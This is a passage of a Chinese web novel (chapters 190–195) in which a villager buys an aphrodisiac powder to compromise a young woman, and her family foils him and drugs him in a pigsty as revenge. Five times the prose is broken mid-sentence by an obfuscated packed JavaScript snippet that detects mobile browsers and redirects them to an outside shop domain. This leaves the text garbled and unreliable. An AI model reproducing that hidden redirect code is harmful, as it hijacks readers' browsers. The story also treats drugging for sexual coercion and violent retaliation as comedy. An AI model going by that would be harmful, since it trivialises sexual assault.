“再说了,乔溪儿嫁到我们沈家,我们想怎么对她都可以,又何尝不是解了心头之恨?” 沈家人听他这样分析,纷纷心动了。 简直是一箭双雕,想想都要流口水。 第190章 黄鼠狼给鸡拜年没安好心,滚 还等什么?沈家人拿着锄头铁锹出发。 乔老太看到沈家人拿着家伙从下面上来,以为又是来要工钱的,准备他们一开口,就用扫帚把他们打回去。 不是觉得应该不要钱,一开始乔家本来就是打算给钱的,要是别家来要钱,多少会给一点,但村里人都在免费帮忙,作为跟乔家人不对付的,不帮忙安静待着就算了,还要来趁着这个机会要钱。 这就是在故意折腾。 宁可不要这些人帮忙。 等到了门口,柳氏看到拔剑弩张的乔老太,就赔上了笑脸。 “乔家大娘,你看我们这不是给你们帮忙去了,家伙都准备好了,绝不会给你们添麻烦。” “咋,不要工钱?”乔老太的扫帚已经举起来了,闻言又放下来,反而脸上多了一抹困惑怀疑。 “是啊乔大娘,我们知道你们忙着去县城运料盖房子,摆摊卖小吃,可这路通不了,你们着急着呢,都是一个村子里的,乡里乡亲,我们也去出一份力,总不能村里人都出动了,我们在家里偷闲吧。”沈老大也是故作爽快地说。 甚至就连沈良,也暂时不去镇子上了,扛上了一把锄头。 那锄头上面粘着一点泥土,把他身上干净的衣服弄脏了,他心里面不满,却是一副甘愿奉献的样子。 “乔家奶奶,过去我们两家发生了一点不愉快的事情,不过没关系,我们沈家已经不计较,希望你们乔家也能放下,大家好好相处,往前看。” 他是那种诚挚的口吻,自以为这番话已经是掏心掏肺的真诚。 可是乔老太一听脸上已是一片冷沉,从堂屋里出来的乔老头也是不满地皱着眉头。 “咋,你们沈家不计较,你们沈家宽宏大量了?你们作为错误的一方,有啥资格说这样的话,还大大方方要求我们乔家放下,倒显得你们背信弃义,我们乔家反而有错似的。” 沈家人面面相觑,他们说错什么了吗?乔家人也太不通情达理了吧,怕是还怀恨在心,故意跟他们找茬呢。 他们觉得不可理喻,明明是他们沈家有了损失,失去了三亩好田,乔家实打实得了好处,怎么还这样不知足? 冯氏也从厨房里出来,手上拿着一根烧火棍,还在吱吱燃着火焰。 “黄鼠狼给鸡拜年,不安好心,你们都不知错,又咋会真心悔改,要来帮我们乔家的忙,说没有啥心眼子我还不相信。” 她已经猜到了,沈家人要来帮忙,怕是冲着她女儿来的。 冯氏也跟前面乔老太一样,浑身护犊子,头上的毛都要炸起来。 突然又想到,两家都闹成这种局面了,沈家人肯定是心存怨恨,怕是想着溪儿嫁过去了,他们使劲变着法子折磨呢。 她不由得打了一个哆嗦。 宋家是明坏,沈家是阴毒,按照沈家的阴毒,这种事情一定是做得出来的。 “哎呀,弟妹你这话说的,好像我们有啥坏算计似的,你看我们也没有跟你们要工钱,就纯粹去帮个忙。”柳氏一脸的委屈:“你这样也太伤人了。” 她差点忍不住骂人,可是想想长久的打算,还是暂时咽下那一口气。 等娶到乔溪儿,再把这些受到的气都使劲折磨在她的身上,十倍百倍还回去。 “有没有坏心眼,你们自己心里面明白。”乔老婆子也猜到了,沈家人还能是怎么想的,就看到他们乔家不断赚钱,又要盖大房子了,就惦记起了乔溪儿。 想得真美,做白日梦呢。 “都回去回去,不要你们帮忙,如果你们偏要去折腾那一条路,也不要说是给我们乔家帮忙,我们不会领受。” 看到乔家人这样坚决,沈家人也不遮着掩着了,一个个脸上浮起了怒意。 “你们也太不近人情了吧,狗咬吕洞宾,不识好人心,我们好心好意来帮忙,还要被你们骂,被你们怀疑,你们乔家多赚了几个钱,尾巴就翘天上去了。”沈老二的媳妇陶氏道。 “别以为我们沈家是图你们乔家啥,你们乔家现在赚到的,还远不能和我们沈家的家底比,你们觉得我们是来惦记你们?”沈老三冷笑一声。 主动提到钱了,这不很明显了吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615469|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冯氏笑:“管你们图啥不图啥,反正不需要你们帮忙,村里那么多人手,不缺你们一家,我就是看不惯有些人,明明一肚子坏水,还要装作好心帮忙的样子。” 沈良也是拧着眉头,他没想到,乔家人会这样难缠。 他觉得还是不要弄到难以收拾的局面,就看向乔家人:“乔奶奶,乔爷爷,乔大婶,前面我很是对不住溪儿,心中有愧疚,现在也只不过是想做一点什么弥补一下我的亏欠,既然你们不接受,那我们就回去吧。” “如果以后你们有啥需要帮忙,只管跟我们沈家说一声。” “我们是很愿意给你们分忧解难的。” 乔家人都板着脸,懒得去看他这种虚伪的态度,多看一眼就想吐。 沈家人见状,更是觉得乔家不识相,忍不住想要大吵一架,沈良对他们使着眼色。 不能就这样放弃,乔家可是一个香饽饽。 最后他们都拼命忍着这口气,拿 着家伙回家去了。 等到了家里,沈老大屁股往凳子上一坐就埋怨:“啥好处都没捞到,白白受了这么多气,乔家人这样的脾性,以后还有啥希望?” “是啊,不断把气往心口里压,差点都要憋出病来。”沈老二一拳打在墙壁上。 “爹,大伯,你们不要着急,乔家对咱们沈家有怨气,不是一时半会能够说得通的,只要功夫深,铁杵磨成针,我们只要拿出我们的诚意和态度,一次不行,两次不行,三次四次总会让乔家放下戒备,再重新接受我们。” “到时候,乔溪儿还是要嫁进我们沈家的家门,她就等于是乔家的人质,大家要出气,后头有的是出气的机会。” 沈良这样说着,可是心里面也没有多大的底气,主要是乔家人真的不好对付,乔家还有一个乔镰儿,更是她决定那些大大小小的事情。 这个死丫头,就从来没有给过他好脸色瞧。 怎么样才能让乔溪儿不得不嫁给他呢,他心头主意一转,有了。 女儿家最重要的东西是什么,是名节。 第191章 不行还不让人说了 冯氏把烧火棍子重新捅进灶洞里,有些气急道:“爹,娘,沈家还不死心,还在惦记着咱们家的溪儿呢。” “他们沈家想屁吃,拿咱们乔家做托底,石家那里不成了,就死不要脸地来打咱们乔家的主意。”乔老婆子忍不住啐了一口。 “溪儿也是他们能惦记的吗?咱们乔家谁同意?他们要是能得逞,咱们家的母鸡都能下金蛋了。” 乔老头道:“沈家人终究是要阴一点,他们今天没有大吵大闹就回去了,肯定是憋着后招。” “有啥招数只管放马来,难道还怕了他们不成,他们嫌皮痒,那就给他们收拾收拾。”乔老太觉得,乔家人个个能打,就像一道铜墙铁壁,大不了把沈家死揍一顿就是了。 这会儿,乔镰儿已经把乔吱吱支开,往竹篮里装了一大筐的草莓。 等两人再汇合的时候,乔吱吱就发现篮子里面都是红彤彤的草莓,一个个红得要滴下水来,在太阳下反着光。 “哇,镰儿你从哪儿找来的这么多?怎么我一个都没有看到。”乔吱吱觉得不可思议。 两人分开找草莓没多久,乔镰儿就已经找满了。 “这个啊,要看运气,要看缘分。” 乔镰儿坐下来:“咱们先吃,吃够了再回家去。” 刚才,还找了几斤菌子,一斤多的鸡枞,晚上又有菌子吃了。 两人你一口我一口,享受着甜汁水在嘴巴里面蔓延的快乐,这里是半山腰,这个位置视野好,往下看整片村子尽收眼底。 乔溪儿一边观察着大田村,很多人家的院子都能看得到,还可以看到人的活动,在做什么事一目了然。 她看到了沈良,他在院子里走来走去,好像在思量着什么。 出门的时候遇到了沈良,他背着书箱,是要去镇子上的,可是现在却回家了。 看这样子,就像是在遇到了什么难题,在想法子应对。 乔镰儿摸着下巴,不会是跟乔家,或者说是溪儿姐有关吧。 等吃得差不多了,姐妹俩下了山。 乔镰儿特意往阿仓家门口绕过去,她往院子里看了一眼,阿仓正在柴房里码柴。 喊了他一声,他就从采访里面跑出来,擦了擦额头上的汗水,笑得灿烂。 “镰儿姐。” 乔镰儿捧了一把草莓给他。 “这是啥呀镰儿姐。”阿仓看着这些红艳欲滴的东西,一脸的疑惑,他好像闻到了一阵清香。 “你吃一个看看。”乔镰儿微笑道。 这东西不大不小,刚好够一口,阿昌吃到嘴里,眼里就有了光。 “好听好好吃,镰儿姐,你们是从哪里找来的呀。” “在山上找的野果子,很不容易找着,但一旦有,就会生很多。”乔镰儿说。 阿仓连着炫了好几个,见乔镰儿没有走,立刻就明白了过来。 村间有几条小路,可从山上下来,却不用经过他家门口。 镰儿姐专门从这里过来,肯定是有交代。 他就压低了声音:“镰儿姐,有啥事呀。” 乔镰儿把他拉到一边:“这阵子你们盯着沈良,看看他的举动。” 阿仓立刻点头:“好,我去知会乐良福生他们几个。” “嗯,有啥进展,去我那里要糖吃,走了。” 乔镰儿说着,顺手摸了摸他的头。 在她的眼里,就是个小屁孩,可是阿仓的脸红了,因为乔镰儿是他的同龄人,还是个女娃子。 不过一想,镰儿姐就跟大人一样,摸他的头跟敲他的头又有什么区别呢。 乔吱吱看到乔镰儿避开她跟阿仓说话,也没有多问。 她已经看出来了,阿仓他们几个就是在给镰儿妹妹跑腿,肯定是有啥交代。 因为,他们时不时到乔家门口要糖吃。 忙碌到了黄昏,大家纷纷收拾家伙回家,经过一天的忙活,就清了三个垮塌的地方,又填上了两个塌陷下去的路面,还把路旁的坡加固了一下。 喝一口茶水,抓一把瓜子,为今天的忙碌画上了完美的句号。 乔家人逐一跟大家感谢。 “谢啥,不是只有你们乔家到县城去,我们偶尔也要去的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615470|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个村子一家人,不要再客套了。” “是的呢,我家也租了一个卖香料的小铺子呢,忙着去开张。”一个大婶说。 乔家人心里暖暖的,都是能处的好乡亲。 回家看到又多了一竹篮的草莓,乔家人都很惊讶,说真的,这种野果他们从来没有见过。 山上他们去了多少次,就算再稀有的果子,也总会有一点印象吧,但就像是突然冒出来的。 每一次,都是镰儿找到,还找到这么多。 又想到其他一些不太好解释的事情,乔家人都默契地不去问。 好吃的哐哐炫,有发财的门道好好发财,做好他们的本分就是了。 其他的,不要让镰儿为难。 乔镰儿给大家做了一份番茄蛋花汤,又做了一份番茄厚蛋烧,切成了三十多卷,保证每人有两卷。 乔吱吱吃得迷糊,瞪着眼睛问:“番茄和鸡蛋上辈子是夫妻吗?搭配起来这么 好吃。” 大家都忍不住笑。 乔老大:“不光上辈子是夫妻,八辈子都是。” 第二天,沈良去了镇子,他并没有带书箱。 他去了一家医馆。 “小兄弟,你是来看诊的,还是来问药的。”掌柜的问道。 沈良压低了声音:“有没有那种药?” “哪一种?你描述一下,说清楚一点。” “就是让夫妻之间——”沈良咳嗽了起来,他怎么说也是半个读书人,怎么能说出那种让人脸红的话。 掌柜心领神会地一笑。 “小兄弟,刚成亲吧,刚成亲是没有经验,不过你不要灰心气馁,我这里有的是好药,能够让你重振男人的信心。” 沈良一听脸上一片羞窘,又觉得恼怒。 掌柜这不是在说他不行吗?简直是在羞辱他。 “不要了。”他沉着脸出了医馆。 “哟嗬,我这是在好心好意安慰你,不行还不让人说了,真是的。”掌柜看着他离开的身影,也没了好脸色。 沈良又进了另一家医馆。 第192章 徘徊蹲守,欲行不轨 这一次,沈良换了一种说辞。 “掌柜,我新娶了媳妇,不过我媳妇比较冷淡,不通人情,有没有什么药,能够让她亲近我一点。” 掌柜一下子就明白过来了:“有,有,放心吧小兄弟,你媳妇用了这种药,你可得当心自己了。” 一边说着,一边给沈良抓了一包药粉。 “让你媳妇嗅到就可以了,方便得很,一两银子。” “什么,就这么一点药粉,要一两银子。”沈良皱眉。 “可不,这可是神药,帮助你有孩子后代,别说一两,三两都不要嫌贵。” 沈良感到一阵肉疼,可是想想,不舍小,如何得大? 就咬牙忍痛摸出了一两银子。 他拿着药出来,左右环顾一下,这才往大田村的方向走去。 等他的身影看不到了,福生和阿仓溜进了医馆。 “去去,你们两个娃儿跑进来做啥。”掌柜见他们生龙活虎的,看起来也不像是生病的样子,就出言驱赶。 “掌柜,我想问问刚才那个大哥哥拿走的是啥药?我们也想买。”阿仓道。 掌柜忍不住噗一声笑了:“你们才多大点,那是成亲的人用的,小孩子家家别多问,从这里出去,往左边第一个路口转进去,有一个卖糖果的铺子,去吧去吧。” “掌柜你告诉我们是什么嘛。”福生挨到掌柜的跟前:“我们不问清楚是不会走的。” 他们不用去买糖果吃,镰儿姐那里就有,但是他们要给她带去更多的消息,详细一点,具体一点,这样得到的糖和饼干才多。 “我说你们这两个臭小子,人家客人来跟我买啥药,跟你们有啥关系,走走走,再不走我就叫人了。” 福生和乐良看到两个伙计朝这里走过来,就低着头溜了出去。 “咋办啊,也不知道沈良买的是啥药。”乐良一脸的苦恼。 “不着急,我们如实跟镰儿姐说。” 沈良拿着药走在回村的路上,一边在心里面思忖,他得制造一个和乔溪儿独处的机会。 可是乔家人很少有落单的时候,他们干活,上山,还有在家,都是两个人以上。 所以,他要等待时机。 就算慢一点也没关系,只要能成,那就是一辈子的好事。 时候差不多了,乔镰儿和乔云妮把几层蒸笼从大锅上端下来,这里面蒸着黄心红薯条,现在已经蒸熟了。 然后把红薯条摆在大簸箕里,暴晒在阳光下。 空出来的蒸笼,又重新放上切好的红薯条,继续蒸。 院里的红薯条,散发出一阵阵甜香,在阳光下开始收缩着。 “镰儿,是不是晒够了时辰,红薯干就做成了。”乔云妮问。 “不行的娘,红薯干的做法,要经过三蒸三晒,等晒了两天,还要上锅再蒸,蒸上两刻钟,再晒两天,这个时候就开始流蜜了,然后再蒸两刻钟,又晒两天,红薯干就成了。” 乔镰儿是要红薯干,给大家尝尝这种零食。 她空间里种出来的这种黄心红薯,品质上佳,甜度高,做成红薯干再合适不过。 乔云妮有点惊讶:“要这么多步骤。” “是呢娘,好事多磨,咱们就多做一点,做个两百斤,就家里人吃上一个月了。” 两百斤听起来很多,但是平均下来,一天就吃个六七斤,家里十六口人呢,每个人还分不到半斤。 “好,那就多做一点,省得麻烦。” 乔玉妮说着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615471|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又从马车里搬下一袋黄心红薯。 她记得马车里是有红薯,但是没有这么多,但她也懒得去多想了。 有的事情,她这个当娘的是最敏锐的,可她清楚,最好的态度,是当作什么都不知道。 母女俩在院子里洗红薯,切红薯条,冯氏母女就管着厨房里,一边准备着中午饭。 乔老头清理着猪圈,鸡舍,乔老太割猪草马草去了。 乔老头忙完这些,又带了一个背篓,去找乔老太。 三头猪,正在长身体的时候,食量很大,还有大红也要照应着,一天就要吃一百斤草。 两个小小的身影,在院门口探头探脑。 乔镰儿走了出去。 “镰儿姐,今天我们跟着沈良到镇子上,看到沈良在买药。”阿仓说道。 乔镰儿想了一下,沈家人并没有听说谁生病,或者有个跌打损伤啥的。 “买什么药了?” “我们去问掌柜,掌柜不告诉我们,只说是成亲后用的药。” “是,药粉?” “嗯嗯是的,我们看到了,是药粉。” 乔镰儿眸子一冷,沈良去买这种见不得光的药,这是要做什么? “好了,我知道了,你们继续盯着他。” 乔镰儿每人给了几颗糖,一块饼子。 两个孩子拿着吃的,眉开眼笑,乐开了花。 福生说道:“宋瑞儿我们也在盯着呢,不过他到了学堂学习,就暂时没有别的动作了,看他学习还很认真,一门心思都扑在了上面。” 乔镰儿琢磨,宋瑞儿的这个脾性,不达到目的不罢休,跟她还有点相似。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第193章 敬酒不吃吃罚酒,就别怪我 沈良朝阿仓他们走过去,摆出一副训斥小孩的态度:“你们在这里做什么,离家里那么远,万一你们丢失了咋办?快回家去吧,别让你们爹娘担心。” “你在说啥屁话,我们家门口都看得见,还怕丢失。”乐良吐舌头对他做了一个鬼脸。 “噜噜噜,大傻子。” “说谁大傻子呢,我这是为了你们好。”沈良有些气恼:“你们不识好人心就算了。” 这些小孩不愿意走,不过也没关系,等他用了这个药粉,乔溪儿朝他扑过来,基本上就可以死死咬定了。 小孩子还可以当人证,他们的话是做不得假的。 想到这里,沈良差点感谢他们在这个时候出现在这里。 福生他们没有再管沈良,你追我打的,玩得很快乐。 而沈良看到乔溪儿距离二老又远一点了,二老几乎有点看不见了,他朝那个方向走去。 阿仓对大家使了一个眼色。 他们就朝沈良跑过来,好像不经意一样,伸脚在沈良的脚上一绊。 沈良猝不及防,一下子摔倒在田野上,肩头磕到一颗石子,他痛得惨叫一声。 正要爬起来,这些小孩却按了上来,在他身上搜索着,袖子里,香囊全都不放过。 “沈良哥哥,你有没有糖果吃呀?我们想吃糖果。” 沈良身上穿的可是新衣服,被这些小子弄得又脏又乱。 他心里面都是气,忍不住想要骂出来,可是又觉得不应该和小孩子计较,有辱读书人的斯文。 “起开,起开,都起开,这是在做什么,我没有糖果,也没有银子。”沈良一边说着,一边看向乔溪儿的方向。 乔溪儿找完了这一处的猪草,又换了一个地儿,这让沈良很是着急。 他卯足了全身的劲儿,一把把两个孩子推开,终于得了空隙起来,而他的头发也乱了,衣衫不整的,香囊手帕都被践踏脏了。 “混账,臭小子,看我不好好收拾你们。”沈良恼羞成怒,捡起了一块石头。 孩子们一哄而散,拼命往村子的方向跑。 沈良手上的石头也扔了过去,可他常年不干活力气小,连孩子的脚后跟都没有扔到。 福生甚至回过头来,嘲笑。 “大废物,连块石头都扔不动。” 禄儿:“就是就是,还不如我们呢。” 沈良深吸了一口气,才把这口气勉强给压下去。 他要真的追着这些小子打,被村里人看到了,还不知道怎么嘲笑他。 正事要紧。 这会儿,乔溪儿已经看不到了,不知道转到了哪里去,沈良赶紧去找。 几个孩子跑到乔家,正好乔镰儿赶着马车去了路上一趟,把大用喊了回来,也刚到家门口。 大用也不知道喊他回家做什么,反正镰儿让他回来,他就回来了。 而且看镰儿有些着急的样子,他就想着会不会有什么事。 “镰儿姐姐你看,这是我们从沈良身上换下来的东西。” 等乔镰儿下了马车,福生把一样东西交给她:“镰儿姐姐你让我们换上去的,我们也换上去了。” 这是一个小纸包,乔镰儿把纸包离鼻尖远一点,打开,轻轻闻到一点,就觉得气血躁动,果然是那种腌臜的东西。 她赶紧把纸包合上,冲进厨房里,从水桶舀出半瓢水,全喝了下去,有点发晕的神志这才清醒。 看到她这样反常的举动,大用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615472|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一脸的不解:“镰儿,这是怎么了?” “大用哥,你快跟我来。”乔镰儿就往院子里跑出去。 远处那一片山坳子下,隐约可以看到乔老太的身影,乔老太一低头又不见了。 乔溪儿应该就在不远处。 但只要她和二老有视线的阻隔,沈良就能找到下手的机会。 虽然药粉已经替换了,溪儿姐一身的力气,并不用太担心沈良会得逞,但是孤男寡女在外面很容易说不清楚,到时候要是沈家人一口咬定,那就不好摆脱了。 她看沈良就在田野处徘徊,料想他会今天动手,就让福生他们去换东西,而她去喊大用哥回来。 这种事情还有谁比大用更加愤怒,大用的拳头才是最硬的。 沈良找了好一会儿,终于看到了乔溪儿。 乔溪儿在一丛竹林旁边,正坐下来休息,一边用一片大叶子给自己扇凉。 她之所以要离二老远一点,是给他们留相处的空间。 二老有很多年轻时候的事情要回味,现在虽然年纪大了,可是私底下也亲近得很。 背篓里的猪食已经满了,她打算休息一下,跟二老说一声,她先回家去。 在太阳下找了那么久的猪草,她的脸上沁着一层薄薄的细汗,白皙的脸被晒得微红,就像喝了一点小酒微醺一样,清秀的脸蛋宛若水蜜桃,让人忍不住想要咬一口。 沈良痴痴地看着,不由得看呆了。 如果不是因为石慕柔,现在乔家起来了,沈家是很愿意商量这一门亲事的,说不定他们都已经成亲了。 不过,也不是没有机会。 小主,这个章节后面还有哦,请点击下一页继续 阅读,后面更精彩! 第194章 换成了大力药?好,打! 白灰灰的东西,飘到乔溪儿的眼前,她不可避免地吸进去一些,又赶紧警惕地捂住了口鼻。 她知道,一定不是好东西。 但是沈良的脸上已经露出了得逞的笑意,因为只要吸入一点,就完全足够了。 这种东西的效果可是强烈得很。 他就挡着乔溪儿,盯着她,等着她发作,等着她朝他扑过来。 如果不出意外,乔溪儿的脸会飞快变烫变红,双眼混沌,神志不清,全身乏力。 到时候,就可以完全让他摆布了。 其实,让村里人看到这种事情,实在是不体面,包括他自己。 如果不是乔溪儿性子犟,乔家人又是一副老死不相往来的样子,他又何必这样做呢。 都是他们逼他的。 可是,预想中乔溪儿的反应似乎并没有出现。 乔溪儿也是有点紧张,她知道自己吸入了不好的东西,说不定是那种龌龊腌臜的。 她害怕,害怕自己出现那些见不得人的反应,到时候,她要被十里八村的嘲笑,颜面扫地,一辈子都抬不起头来。 可是时间一秒一秒过去,这副身体并没有那种难堪的感觉。 反而她还觉得自己的力气增加了一点,浑身上下更有劲了。 乔溪儿很诧异,沈良这是给她送好处来了? 不可能,看他这一副要干坏事的样子,就恨不得她倒霉呢。 那一定是他拿错东西了。 乔溪儿心中的紧张一扫而光,取而代之的,是一种想要打人的勇气。 在沈良越来越困惑的目光中,乔溪儿冷冷一笑。 “你以为这里就我一个人,就收拾不了你?” “沈良,你未免太看轻我了。” 看到乔溪儿眼里迸发的森然寒意,沈良感到一阵不对劲。 下意识地想要跑。 脚步还没有迈开,乔溪儿一个左勾拳打在了他的下巴上。 这一拳就把沈良的下巴打脱臼,剧痛无比,让他的五官变得扭曲,一张脸飞快地白了,他捂着下巴往后退,呜哇呜哇说不出清晰的话来,额头上冷汗淋漓。 他弯腰驼背,像被抽掉了虾线。 乔溪儿一脚踹了过来,直接把他踹翻在地上。 然后鞋底像雨点一样,不断踹在沈良身上,踹得他一身是泥。 “你觉得我们乔家女儿好欺负,你觉得我会任你摆布?看看你这个怂样,撒泡尿照照你自己吧。” 沈良哪里遭过这样的对待,呜哇呜哇地想要求饶,可是下巴脱了,根本没法说话。 乔溪儿想到自己多年的等待被辜负,现在人家又把她当成备胎找回来,简直是在作践她,心中的火气一阵阵涌起,想着把沈良打死也不为过。 这会儿,乔镰儿和大用也来到了,看到这样的情形,两人对视一眼,都有些惊讶。 乔镰儿是把药换了,她这种药粉其实就是普通的面粉,只是用神符之水浸泡过,然后又在太阳下晒干,对增加体力有一点作用。 没想到,溪儿姐会发挥得这样好。 看这沈良,已经被揍成孙子了。 看到大哥和镰儿妹妹来了,乔溪儿才恢复了神智,勉强停了下来。 “溪儿,咋了,这是怎么回事。” 乔溪儿打人出了大力,都有点站不稳,大用赶紧把她扶住。 她摇了摇脑袋:“我没事呢,好好的。” 是沈良有事。 乔溪儿从袖子里面摸出一样东西,蹲下来。 “这是不是你去镇子上药店买的药粉?” 沈良拼命睁着被血糊的眼睛,这才意识到他买的药被替换了,是怎么被换过来的,他想到了前面那些孩子,把他绊倒,在他身上一顿搜索。 原来在那个时候,他们动了手脚。 他明白过来了,乔镰儿早就注意上他了,她让这些小子盯着他,他去药店买药回来,想要算计乔溪儿,她都一清二楚。 心中的情绪冲撞着,他差点一口鲜血吐出来。 “镰儿妹妹,这是什么药粉。” 大用沉着脸问。 “是给成婚的夫妻用的,大堂哥你说呢。” 大用的脸上更是阴云密布,一把揪住沈良的衣襟把他揪起来,想要一拳打在他的脸上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615473|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才发现他的下巴已经脱臼了。 “卑鄙无耻,竟然这样算计我的妹妹,沈良,同为男人,真为你感到羞耻。” 大用忍无可忍,直接把沈良的一边胳膊给卸了。 随着一声惨嚎,沈良直直地瞪着眼睛,眼皮一翻晕了过去。 “就这样放过他,实在是不痛快。”大用皱起了眉头。 但是沈良身上已经找不到下脚的地方了。 他无法想象,要是让沈良得逞,他的妹妹会是什么下场。 一个还未出阁的女儿家坏了名节,她以后的人生怎么办? 要不是会有牢狱之灾的风险,他真的恨不得把沈良打死。 “大哥。”乔镰儿指了指大用腰间的水囊。 大用把水囊取下来。 乔镰儿把盖子揭开,把水浇在沈良的脸上,沈良一个激灵就醒了过来。 好像做了一场噩梦一样,他多么希望刚才的事情是假的,紧张地环顾四周,看到了乔家三兄妹,他知道自己又被扯到可怕的现实里了,忍不住浑身颤抖了起来。 他用那边没有脱臼的手稳住了下巴,才勉强说出一句话来。 “求求你们,放过,放过我,再也不敢了。” 这句话说完,他已经是痛得面容狰狞,差点又晕死过去。 “放过,怎么可能呢,你敢做就要认罚,不让你好好长一长教训,还会有第二次,第三次。” “你们已经,快把我,打死了。”沈良又按住下巴,可怜兮兮地说。 现在他真的怕乔家三兄妹杀了他,他只想保住这一条命。 “放心,不会要你的命。” 乔镰儿回头看了看,最近的一家是李四家,李四家里没有人,只有一头猪在猪圈里吭哧吭哧地叫嚷着,显然是饿了很久了。 “大哥,咱们把人换一个地方。” “好。”大用一把把沈良扛了起来,然后跟着乔镰儿走。 一直走到了李四家外面,乔溪儿又让大用把沈良放到猪圈里。 大用照做,乔溪儿让他们两个退后,她也捏住了鼻子,然后把那一把药粉敞开,按在了沈良的口鼻上。 第195章 母猪变得眉清目秀起来 沈良猝不及防,吸入了大把药粉。 他被呛得咳嗽,很快他明白发生了什么,眼睛猛地睁大,下意识地屏住呼吸,但已经来不及了。 他变得燥热难安,神志飞快丧失,看那一头嗷嗷大叫的母猪,都觉得眉清目秀起来。 然后大家就眼睁睁看到,沈良朝母猪扑了过去。 母猪从来没有见过这样的阵势,吱哇乱叫着满猪圈乱窜。 可沈良虽然浑身乏力,但是步子移动得很快,一到母猪的身边就往母猪身上按。 母猪生气了,一回头咬了他一口。 可沈良不依不饶,不达目的誓不罢休。 沈良追,母猪逃,母猪逃,沈良追。 一人一猪,都插翅难飞。 母猪,实在是对不起了,乔镰儿在心里默默道歉。 希望李四家给你吃一顿好的来补偿你。 大用和乔溪儿都因为眼前的一幕惊呆了。 还得是镰儿妹妹有法子。 本来以为镰儿妹妹让把沈良挪到这里,是让母猪啃他几口。 哪里想到,镰儿妹妹这样大聪明呢。 福生他们几个孩子也跟着来了,围在圈边,加油鼓掌,跟着起哄。 这样的大场面还从来没有见过呢。 乔镰儿选了一个开阔的地方,对着村子里面大声喊。 “快来人看看啊,李四家的猪遭殃了,沈良疯了。” 沈良疯了,和李四家的猪遭殃了有什么关系?在家的村民一听,赶紧过来看看发生了什么事。 就看到这触目惊心的一幕。 沈良脸上淌血,下巴耷拉下来,一边手臂也脱臼了,迈着踉跄的步伐,跟着一头母猪追。 而且完全是神志不清,仿佛身上只剩下本能。 宛如一个丧尸。 大家都惊呆了,沈良虽然学的是算学,不走科举那一条路,但也是能读书写字的,还多了一个会测算的技能,说他是读书人也不为过。 一向他在村子里面的形象,都是谦谦有礼,看到人都会礼貌地打声招呼。 哪怕因为和乔家的婚事,沈家算计太多,导致沈家遭到村里人的嫌弃,可沈良也依旧是翩翩公子的面貌。 加上他长得好看,还真的有一部分人无法讨厌起来。 没想到,现在他就在李四家的猪圈里,患了失心疯一样追着一头母猪,有些意图举动简直是不好描述,没眼看,真的没眼看。 沈良的形象轰然倒塌。 有的老人来看了两眼,就匆匆离开。 “世风日下,唉,世风日下啊。” “教养成这个样子,真是愧对列祖列宗。” 还有的大人捂住了自家孩子的眼睛,把孩子抱走,一边走一边打。 “这也是正常人能看的吗?给我忘掉,回去洗洗眼睛。” 母猪也不是好惹的,本来肚子就饿,沈良这样激怒它,它就反过来咬沈良,最后对沈良发起了攻击。 这里一口,那里一口,毫不留情。 等到沈家人赶到的时候,沈良已经被咬得鲜血淋漓,头皮还秃噜了两块。 可他挣扎着勉强爬起来后,还是执迷不悟。 柳氏当即大哭了起来。 